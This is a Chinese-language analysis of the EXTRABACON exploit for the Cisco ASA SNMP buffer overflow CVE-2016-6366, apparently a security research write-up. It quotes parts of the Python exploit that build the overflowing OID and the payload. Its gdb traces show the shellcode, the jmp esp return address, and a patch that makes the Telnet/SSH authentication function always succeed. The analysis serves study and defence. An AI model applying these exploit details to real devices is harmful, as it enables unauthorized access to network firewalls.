Shadow Brokers 曝出的EXTRABACON工具中包含思科ASA防火墻遠程代碼執(zhí)行的0DAY漏洞,本文分析了ASA漏洞CVE-2016-6366的產(chǎn)生原因和利用原理,并對工具中的EXP的執(zhí)行過程進行了深入分析,展示了網(wǎng)絡設備漏洞攻防的分析和調試技巧和方法。
0x01 漏洞背景
今年8月13號,入侵美國國家安全局(NSA)的組織Shadow Brokers在其Twitter微博上公開了大量黑客工具的鏈接,并將部分放在網(wǎng)上進行拍賣。根據(jù)Shadow Brokers組織的描述,這些工具原屬于著名的黑客團隊方程式組織(Equation Group),該組織可能與震網(wǎng)(stuxnet)、Regin、Flame等攻擊有關,被外界懷疑受雇于美國國家安全局。
在此次公開的文件中包含了一個Cisco ASA防火墻的遠程代碼執(zhí)行0DAY,方程式組織將這個exploit命名為EXTRABACON。在EXTRABACON遭到曝光后,思科也立刻承認了在其多個版本的ASA產(chǎn)品中存在相應的漏洞,漏洞編號為CVE-2016-6366。
EXTRABACON利用的是思科ASA防火墻中處理SNMP(簡單網(wǎng)絡管理協(xié)議)代碼的漏洞,本質是一個緩沖區(qū)溢出。從利用層面說來,攻擊者可以向系統(tǒng)發(fā)送精心構造的SNMP包,一旦漏洞利用成功,攻擊者則無需輸入正確的登錄賬戶和密碼,就可以通過ASA的Telnet和SSH身份認證。
從公開的EXTRABACON代碼來看,可對Cisco ASA Software版本號為8.0(2)~8.4(4)的系統(tǒng)進行利用,但是后續(xù)網(wǎng)絡上不斷放出了針對高版本ASA系統(tǒng)的利用代碼。
0x02 Cisco ASA 系統(tǒng)分析
在實驗環(huán)境下,通過GNS網(wǎng)絡模擬器模擬線上Cisco ASA設備,分析中采用8.02版本的固件作為樣本。使用固件分析工具binwalk提取和解壓文件,發(fā)現(xiàn)Cisco ASA底層實際上是一個標準的linux操作系統(tǒng),這樣逆向出來的匯編自然也是x86體系結構的。
通過對解壓出的linux系統(tǒng)進行分析,可以分析出Cisco ASA防火墻系統(tǒng)啟動加載流程如下:
在這里我們最關注的是最后三個步驟,其中l(wèi)ina是Cisco ASA防火墻的主程序,lina_monitor以創(chuàng)建子進程的方式啟動lina程序,并對lina進程進行監(jiān)視和管控。rcS作為一個shell腳本控制著lina_monitor的啟動方式,如傳入的參數(shù)控制,基本包含了ASA所有的業(yè)務邏輯代碼,在系統(tǒng)內存中,lina將fork多個子進程協(xié)同工作,如下圖所示:
其中存在漏洞的代碼運行在lina_monitor的子進程,也就是上圖PID為221的lina進程中。在Cisco ASA系統(tǒng)內置gdbserver,可用作對此漏洞進行遠程動態(tài)調試,使用gdbserver遠程調試Cisco ASA示意圖如下:
0x03 漏洞分析
1.exp分析
此漏洞的exploit源碼由Python編寫,其中包含三個主要功能模塊:
1)overflow漏洞利用數(shù)據(jù)生成,關鍵代碼如下:
1 2 3 4 5 6 7 |
head = '1.3.6.1.4.1.9.9.491.1.3.3.1.1.5.9' wrapper = sc.preamble_snmp if self.params.msg: wrapper += "." + sc.successmsg_snmp wrapper += "." + sc.launcher_snmp wrapper += "." + sc.postscript_snmp overflow = string.join([head, "95", wrapper, sc.my_ret_addr_snmp, sc.finder_snmp], ".") |
其中sc是動態(tài)加載的shellcode模塊,在構造overflow前exp會確認目標ASA的系統(tǒng)版本,并匹配對應版本的shellcode。
wrapper變量被組裝了shellcode代碼,整個造成溢出的數(shù)據(jù)需要有一個固定值的head,這段必須使用OID '1.3.6.1.4.1.9.9.491.1.3.3.1.1.5.9' ,該OID屬于sysDescr,在SNMP協(xié)議中是獲取目標系統(tǒng)的一些描述信息,比如系統(tǒng)全名或硬件版本標識等。
字段”95”表明后面還接有95字節(jié)的數(shù)據(jù),my_ret_addr_snmp是溢出后覆蓋的函數(shù)返回地址,finder_snmp是一段跳轉代碼。
2)payload控制代碼數(shù)據(jù)生成,關鍵代碼如下:
1 2 |
payload += sc.payload_PMCHECK_DISABLE_byte payload += sc.payload_AAAADMINAUTH_DISABLE_byte |
這段拼接了shellcode中payload代碼,控制方法為更改telnet和ssh的認證流程。
3)構造SNMP數(shù)據(jù)包,關鍵代碼如下:
1 | exba_msg = SNMP(version=self.params.version,community=self.params.community,PDU=SNMPbulk(id=ASN1_INTEGER(self.params.request_id),max_repetitions=1,varbindlist=[SNMPvarbind(oid=ASN1_OID("1.3.6.1.2.1.1.1"),value=ASN1_STRING(payload)),SNMPvarbind(oid=ASN1_OID(overflow)),])) |
在SNMP構造的過程中,overflow被填充到了SNMP報文的OID字段,通過控制OID輸入字符長度來溢出棧。
通過構造的SNMP報文,可以得知,觸發(fā)該漏洞必須滿足2個約束條件:
1)攻擊報文的源IP地址必須為SNMP指定的HOST地址。
2)攻擊者需輸入正確的SNMP的community。
若其中任何一個條件不滿足,ASA將直接丟棄SNMP報文不予處理。在調試過程中,我們也確認如果不滿足這兩個條件中任意一個則無法跳轉到漏洞代碼的執(zhí)行分支。
2.協(xié)議分析
Exp在攻擊過程中會發(fā)送兩個SNMP報文,第一個是查詢目標ASA系統(tǒng)版本,其中包含了查詢目標Cisco ASA設備版本號的OID,在測試環(huán)境中抓包顯示如下:
查詢操作成功后,ASA設備會返回一個數(shù)據(jù)包告訴對方自己的版本號,從返回的數(shù)據(jù)包,顯示已成功查詢到目標設備的系統(tǒng)版本:
緊接著exp會發(fā)送第二個報文,該報文是SNMPv2版本中定義的新分組類型get-bulk-request,用來高效率的從代理進程讀取大塊數(shù)據(jù),其中包含了兩個object條目,可以看到之前構造的payload數(shù)據(jù)被填充到了第一個條目的value字段中,造成溢出的overflow被填充到了第二個條目的oid字段中:
3.代碼分析
靜態(tài)分析
將Cisco ASA 8.02系統(tǒng)中的/asa/bin/lina文件加載到IDA中進行靜態(tài)分析,通過gdb連接lina進程,通過構造特殊字符的shellcode查看實時的系統(tǒng)棧結構信息,查看exp執(zhí)行溢出后系統(tǒng)棧崩潰信息,可以初步定位函數(shù)地址,不斷設置斷點進行跟進調試,逐漸定位到發(fā)生漏洞的函數(shù)為sub_89F4750,對其反編譯后的部分代碼如下:
在sub_89F4750函數(shù)中,調用了sub_90A32A0函數(shù),這個函數(shù)的主要功能是將第二個參數(shù)指向的源地址數(shù)據(jù)copy到第一個參數(shù)指向的目的地址中,第三個參數(shù)大小影響了copy的數(shù)據(jù)長度。繼續(xù)跟進到sub_90A32A0函數(shù)中查看代碼:
在這部分代碼中,很容易分析出for循環(huán)實際實施了內存copy操作,依次從源地址中讀出4字節(jié)的數(shù)據(jù)寫入到目的地址中,每一次循環(huán)將copy 64字節(jié)長度的數(shù)據(jù),其中這個函數(shù)傳入的第三個參數(shù),也就是影響copy長度的a3變量,在循環(huán)開始時被除以4后賦值予i變量,而i變量控制循環(huán)次數(shù),所以sub_90A32A0函數(shù)的總copy長度可能不等于第三個參數(shù)所指定值。再看一下該函數(shù)接下來的代碼:
先看第一個if語句,若經(jīng)過前一個階段的for循環(huán)后,若i變量依舊不為0,則執(zhí)行if內的代碼塊,這段代碼塊的作用將會從源地址中取出i*4字節(jié)長度的數(shù)據(jù)copy到目的地址中。
第二個if語句判斷條件是將傳入的a3參數(shù)與整數(shù)3按位與操作,其語義目的是為了過濾掉4的倍數(shù),也就是說若a3非4的倍數(shù)將執(zhí)行第二個if的代碼塊,這段代碼的作用是從源地址中向目的地址copy參數(shù)a3與整數(shù)3按位與操作后的整型值的長度數(shù)據(jù)。
由此可見在這個函數(shù)中的三個主要流程控制的代碼塊中都可能發(fā)生內存copy操作,將這段IDA反編譯的sub_90A32A0函數(shù)翻譯為同功能的標準C語言可能更直觀一些,其代碼如下:
至此可以分析出sub_89F4750函數(shù)通過調用sub_90A32A0這個內存copy函數(shù),將從上層函數(shù)傳入的地址指針a6指向的源地址的數(shù)據(jù)copy到本地局部變量v32中,其copy長度也由上層函數(shù)傳入的參數(shù)決定,而不是由本地局部變量v32的內存空間長度來做控制,上層傳入?yún)?shù)很容易超出本地局部變量v32內存長度發(fā)生緩沖區(qū)溢出風險。
動態(tài)調試
通過Cisco ASA串口連接gdbserver進行動態(tài)調試,在發(fā)送觸發(fā)漏洞的數(shù)據(jù)包前先對lina進程中copy SNMP報文oid字段的sub_90A32A0函數(shù)調用前后下斷點,以方便觀察內存,如下圖所示:
第二個SNMP報文成功觸發(fā)了這兩個斷點,通過查詢ESP寄存器中的值取得棧頂?shù)刂罚?/p>
1 2 |
(gdb) i r espesp 0xab7b0fd0 0xab7b0fd0 |
由于遵循_stdcall約定,棧頂?shù)刂芳由?字節(jié)的偏移量可以讀取傳入到sub_90A32A0函數(shù)的第三個參數(shù)的值:
1 2 |
(gdb) x /wx 0xab7b0fd8 0xab7b0fd8: 0x0000005f |
可以看到其值的十進制正是“95”,也就是在“exp分析”一節(jié)中提到的overflow中后接shellcode的length值。將這個length帶入到sub_90A32A0函數(shù)中分析出總copy的數(shù)據(jù)長度為:
總長度 = 第一階段64字節(jié) + 第二階段28字節(jié) + 第三階段3字節(jié) = 95字節(jié)
三個階段copy的數(shù)據(jù)長度總和也恰好是95字節(jié)。雖然SNMP的oid字段中的length值可直接控制內存copy長度,但是并不是沒有長度限制,通過不斷增大oid的shellcode長度以及對應的length值。我們發(fā)現(xiàn)ASA系統(tǒng)限制了oid的最大長度為128字節(jié),當超過這個長度ASA會丟棄這個SNMP報文不予處理。
由棧頂?shù)刂芳由?0字節(jié)偏移量,從上文提到的局部變量v32所指向的內存空間開始打印,如下所示的系統(tǒng)棧內存分布情況,其中紅色部分(0x089f672c)為sub_89F4750函數(shù)的返回地址:
1 2 3 4 5 6 7 8 9 |
(gdb) x /30wx 0xAB7B0FF8 0xab7b0ff8: 0x00000000 0x089c8a2f 0xab7b75d8 0x00000000 0xab7b1008: 0x00000060 0x0000005f 0x000000a1 0x00000010 0xab7b1018: 0xab7b1048 0x089d9326 0x00000000 0x00000060 0xab7b1028: 0xab7b1058 0x0892ee82 0x0000005e 0x00000010 0xab7b1038: 0x00000040 0x00000010 0x00000000 0x00000004 0xab7b1048: 0xab7b10a8 0x089f672c 0x00000002 0xab7a1400 0xab7b1058: 0x00000004 0x000000a1 0x00000009 0xab7b75d0 0xab7b1068: 0x00000000 0x090a1686 |
當sub_90A32A0函數(shù)完成copy動作后再看相同內存空間中的數(shù)據(jù)變化,其中藍色部分(0x89b80000- 0x00000090)是寫入的shellcode,紅色部分(0x08d3de9b)是被覆蓋的函數(shù)返回地址:
1 2 3 4 5 6 7 8 9 |
(gdb) x /30wx 0xAB7B0FF8 0xab7b0ff8: 0x89b80000 0x35ad3ac2 0xa5a5a5a5 0x8904ec83 0xab7b1008: 0xe5892404 0x3158c583 0xb3db31c0 0xbff63110 0xab7b1018: 0xaaaaaaae 0xa5a5f781 0x8b60a5a5 0x01c82484 0xab7b1028: 0x32040000 0xc361d0ff 0x90909090 0x90909090 0xab7b1038: 0x90909090 0x90909090 0x90909090 0x90909090 0xab7b1048: 0x90909090 0x08d3de9b 0x14247c8b 0xe0ff078b 0xab7b1058: 0x00000090 0x000000a1 0x00000009 0xab7b75d0 0xab7b1068: 0x00000000 0x090a1686 |
1 2 |
(gdb) x /i 0x08d3de9b 0x08d3de9b:jmp*%esp |
可看到shellcode通過跳轉到ESP的方式實現(xiàn)精確定位將要執(zhí)行的代碼。接下來打印0xab7b1050地址處的代碼,也就是sub_89F4750函數(shù)棧幀彈出后,ESP所指向地址:
1 2 |
(gdb) x /5i 0xab7aeed0 0xab7b1050: mov 0x14(%esp),%edi 0xab7b1054: mov (%edi),%eax 0xab7b1056: jmp *%eax 0xab7b1058: nop 0xab7b1059: add %al,(%eax) |
此段代碼是將sub_89F4750函數(shù)的局部變量v32指向的內存地址讀取到了EAX寄存器中,讀取出EAX中的值:
1 2 3 4 5 6 7 8 9 10 11 12 13 |
(gdb) i r eax eax 0xab7b75d8 -1417972264 查看地址0xab7b75d8處的代碼: (gdb) x /18i 0xab7b75d8 0xab7b75d8: mov $0xad3ac289,%eax 0xab7b75dd: xor $0xa5a5a5a5,%eax …… 0xab7b7600: pusha 0xab7b7601: mov 0x1c8(%esp),%eax 0xab7b7608: add $0x32,%al 0xab7b760a: call *%eax 0xab7b760c: popa 0xab7b760d: ret |
我們繼續(xù)在0xab7b760a和0xab7b760d處下兩個斷點,可以讀取到shellcode的下一處跳轉地址和整個shellcode執(zhí)行結束后的返回地址,其中先在第一個中斷處讀取到EAX的值,并查看其跳轉處的代碼:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 |
(gdb) i r eax eax 0xab7b1462 -1417997214 (gdb) x /23i 0xab7b1462 0xab7b1462: mov $0xa5a5a5a5,%edi 0xab7b1467: mov $0xa5a5a5d8,%eax …… 0xab7b1481: xor %edi,%edx 0xab7b1483: int $0x80 ;mprotect() 0xab7b1485: jmp 0xab7b149b 0xab7b1487: mov $0x906ed20,%edi 0xab7b148c: xor %ecx,%ecx 0xab7b148e: mov $0x4,%cl 0xab7b1490: cld 0xab7b1491: rep movsb %ds:(%esi),%es:(%edi) ;copy patch bytes to offset 0xab7b1493: jmp 0xab7b14a4 ;go to payload2 0xab7b1498: pop %esi 0xab7b1499: jmp 0xab7b1487 0xab7b149b: call 0xab7b1498 0xab7b14a0: xor %eax,%eax 0xab7b14a2: inc %eax 0xab7b14a3: ret |
發(fā)現(xiàn)這段地址存儲的代碼正是之前構造的payload,該部分payload修改了telnet和ssh的認證流程,使其身份認證過程失效。這段代碼有兩個主要的操作:
1)在0xab7b1483處通過linux系統(tǒng)調用mprotect()賦予相關內存頁面可讀/可寫/可執(zhí)行權限,然后直接jmp 0xab7b149b。
2)在0xab7b149b處,代碼將下一個指令的地址壓入到棧中,然后跳轉到0xab7b1498,然后pop出當前棧頂數(shù)據(jù),此時正好將地址0xab7b14a0寫到了ESI中,接著通過rep指令將最后三行代碼寫入到身份認證函數(shù)的起始地址0x906ed20處,這樣認證函數(shù)無論接收到了怎樣的用戶名和密碼參數(shù),都直接返回true,從而繞過系統(tǒng)的身份認證。可以查看溢出后錯誤的隨機用戶名依舊保存在登錄系統(tǒng)中,如下圖:
繼續(xù)執(zhí)行continue命令,程序停在了0xab7b760d處,通過查看ESP指向的棧頂數(shù)據(jù)來確定ret的地址:
1 2 3 4 5 |
(gdb) i r esp esp 0xab7b104c 0xab7b104c (gdb) x /wx 0xab7b104c 0xab7b104c: 0x089f672c (gdb) |
shellcode執(zhí)行完成后跳轉的地址為0x089f672c,這正是sub_89F4750函數(shù)執(zhí)行完成后的正常返回地址,見下圖,從而避免了原系統(tǒng)棧被破壞而導致系統(tǒng)崩潰,至此動態(tài)分析過程全部結束。
在cisco ASA系統(tǒng)對SNMP報文OID長度做了限制,只能有128字節(jié), OID固定的頭部標識占去了17字節(jié),在棧中v32指向的內存起始地址距函數(shù)返回地址的偏移量為82字節(jié),由此可計算超出函數(shù)返回地址的溢出長度為:OID總長度 - OID head - 偏移量 = 128 - 17 - 82 = 29字節(jié),分析來看通過jmp esp的方式最多只能執(zhí)行29字節(jié)的代碼。
0x04總結
針對此次ASA漏洞及exp的分析和重現(xiàn),我們發(fā)現(xiàn)該漏洞溢出的長度并不大,遠遠不夠載入一次完整攻擊所有shellcode, 因此exp構造的shellcode分布在內存的多個區(qū)域,通過多次跳轉來完成完整的exploit。此外,雖然漏洞觸發(fā)后可獲取ASA設備底層的系統(tǒng)權限,一般會采用反彈shell的方式來進行利用,但該exp并沒有直接獲取shell,而是通過更改lina程序的執(zhí)行流程來突破了telnet和ssh的身份認證。這樣做一方面隱蔽性非常高,系統(tǒng)幾乎難以發(fā)現(xiàn)入侵的痕跡,同時還可以充分發(fā)揮ASA設備強大網(wǎng)絡操控功能,例如監(jiān)聽流量,配置隧道來進行隱秘的監(jiān)聽,而底層linux系統(tǒng)編譯進來系統(tǒng)命令很少,利用的功能相對有限。同時該exp實現(xiàn)了ASA系統(tǒng)多版本的適配,確實可以反映出該漏洞利用程序的開發(fā)有著相對較高工程化的實現(xiàn)。